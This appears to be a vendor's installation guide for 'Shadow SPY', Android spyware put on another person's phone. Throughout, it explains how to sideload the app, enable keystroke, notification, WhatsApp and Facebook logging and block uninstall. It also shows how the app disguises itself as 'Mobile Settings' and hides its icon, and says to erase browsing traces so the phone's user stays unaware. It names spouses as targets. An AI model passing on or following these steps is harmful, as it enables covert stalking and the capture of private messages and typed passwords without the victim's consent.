Shadow SPY Install and Configure

Setup Shadow SPY on Mobile phones you want to monitor

The Setup includes following steps
1. Turning Unknown source 'ON' to install Shadow SPY Watch this video
2. Downloading and installing Shadow SPY Watch this video for step 2 to 9
3. Launch Shadow SPY
4. Login or Register
5. Enable Logging options
6. Enable Social Logging on Rooted devices
7. Enable Key stroke and Notification logging
8. Prevent Uninstall
9. Complete Setup
10. Viewing Logs of monitored device Watch this video for viewing logs

Turn 'ON' Unknown Sources

To install applications outside of Play Store (Shadow is outside of Play Store), you need to turn "ON" Unknown Sources checkbox under Settings -> Security (4.0 and up) / Settings -> Applications (3.0 and below).

Open Settings in the phone being monitored for WhatsApp

Open Settings and select Security

Turn Unknown source ON, to install shadow spy application on phone

Turn Unknown Source 'ON'

Tap Ok to confirm, Now you can install monitoring application

Tap 'Ok' to confirm

Download and Install Shadow SPY

Open any browser like Firefox or Chrome in the phone and type and tap go/enter or Click Here to open download page. Once the download is complete tap downloaded application and install.

Download the Shadow SPY on the phone you want to monitor for WhatsApp and other monitoring

Open browser and type and hit go/enter or Click Here to open download page.

Install shadow spy on phone to track gps location

Tap downloaded application to start installation

Complete Shadow SPY installation on the phone and start tracking call recordings and spy sms chats

Start and complete the installation

Launch Shadow SPY to Configure

Once the installation is complete either tap 'Open' to launch the application or go to Launcher and tap Shadow SPY icon to launch.

Open Shadow SPY in monitored device to track gps

After installation tap 'Open'


Launch Shadow SPY to start monitoring call logs

Open Launcher and tap 'Shadow SPY' icon, (Note: this icon will auto hide after setup)

Login or Register

Enter your account details and login, in case you do not have account with us then you can register it now using 'Register Now' option. When using trial version, your trial period will start from the time you register account with us.

Login with Shadow SPY account to view Text Message logs

Enter your account email/password and login


You can also register new account to record voice calls automatically

Enter email address for account and choose your password then tap Register

Select Tracking Options

Select the activities/features you want to monitor and set Interval and accuracy for Location Logs. You can change these settings later from Shadow Logs Panel.

General tracking options like calls, sms, photos, videos, mms, contacts, web history

Select general logging options you want to monitor and tap 'Next'

Track locations logs with high accuracy silently

Select GPS/Location monitoring settigns and tap 'Next'

WhatsApp & Facebook Logging

WhatsApp and Facebook Messenger logging will only work on rooted devices in case device you are monitoring is non-rooted then you can tap 'Next' else you can tap "Check Root Access" and grant Shadow SPY root access. WhatsApp and Facebook messenger logs will include information about all type of messages including sent/received images, videos, contacts, locations etc

Monitor WhatsApp chat with photos, location, contact and text messages

In case you are sure that device is non-rooted, tap 'Next' or tap 'Check Root Access'

Allow root access and track Facebook Messenger chat logs

Tap 'Ok' to request root access

All the incoming and outgoing logs of WhatsApp and Facebook will be monitored

This dialog will only appear if your device is rooted, tap 'Grant/allow'

Note: Mobile Settings is name of Shadow SPY, this is to keep the app unsuspected from device user

Notification and Key Stroke Logs

These are the two most important features of Shadow SPY, using Notification logging you can monitor most of the incoming notifications including notifications of social apps chat messages with body, and Key Strokes lets you spy on text, user is typing in any application in device so you can see composed emails, sent chat messages under Key Stroke logs.

Spy on key stroke logs and see whole text user is typing in any application

Tap 'Enable Accessibility Service'

Notification logs will capture all the incoming social apps chat messages and status messages

Tap 'Mobile Settings'

Note: Mobile Settings is Shadow SPY

Shadow SPY is best smartphone monitoring application for WhatsApp and Facebook chat monitoring

Turn CheckBox 'ON' and then tap 'Ok' to confirm

Press back for two times to come back to Shadow SPY screen

Prevent Uninstall

In case you want to prevent the phone user from uninstalling the Shadow SPY application then you would like this feature. Once you activate Device admin of Shadow SPY, the uninstall button of Shadow SPY under settings will be disabled and user would not be able to uninstall the application.

Activate device admin for better monitoring of android device logs

Tap 'Disable Uninstall Button'

Monitor your spouse and childs for safety using Shadow SPY

Tap 'Activate'

Finish Installation

Congratulations you have completed setup process.

Now you can view logs of your spouse and child in shadow logs panel

Tap 'Start Monitoring'

Tracking activities of call being made with recordings is easy now

Tap 'Got it' to turn the application in background process

What Next?

The installation process on monitoring device has been finished, now you can remove stuff like browsing history, downloaded application etc, The icon of Shadow SPY will be auto hide itself after few seconds and you would not need to touch the device again. To view the logs visit or visit Viewing Logs